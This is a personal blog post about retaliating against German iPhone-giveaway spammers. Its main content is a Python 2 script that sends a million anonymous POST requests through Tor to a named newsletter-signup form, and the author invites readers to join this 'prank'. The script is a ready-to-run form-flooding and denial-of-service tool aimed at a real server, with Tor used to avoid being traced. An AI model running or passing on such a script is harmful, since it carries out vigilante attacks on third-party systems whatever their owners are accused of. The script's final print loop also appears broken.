RSS

Do you know those annoying spam mails with links to homepages where you can get a free iPhone, a free Audi A3, etc.?

Well, once more one of those mails found its way to my mailbox and I had some minutes of spare time. So I wrote a little script which sends as many requests to that HTML form as possible.

If you'd like to pay back those basterds every spam mail you ever got, join me in my little prank...

Here you can see the source code for a little Python script. This script uses a local proxy and the tor network to anonymously send POST forms to the spammers web server:

#!/usr/bin/env python

import urllib, httplib

field = urllib.urlencode({
    'MailingListId': 2,
    'FormId': 1,
    'FormEncoding': 'utf-8',
    'Action': 'subscribe',
    'u_FirstName': 'Husni',
    'u_LastName': 'MuBarak',
    'u_EMail': 'diana.schmitt@iphone4-fuer-dich.com',
    'anmeldung': 'Weiter >>>',
})

headers = {
    "Content-type": "application/x-www-form-urlencoded",
    "Accept": "text/plain",
}

proxy = "localhost:8118"

s,f,t = 0,0,0
summary = []
while t < int(1e6):
    # On port 8118 my proxy Polipo is listening and forwarding
    # to the tor network.
    conn = httplib.HTTPConnection("localhost:8118")
    conn.request("POST","http://www.eintragsformular.com/go/nl.php",field,headers)
    response = conn.getresponse()
    if response.status == 200: s+= 1
    else: 
        summary.append((t,response.status, response.reason))
        f += 1
    conn.close()
    t += 1

print "Successes: %i, Failures: %i\nSummaray:" % (s,f)
for line in summary: print '\t'.join(line)

In this case the spammer had multiple domains (www.februar-iphone.com, www.iphone4-fuer-dich.com and www.eintragsformular.com).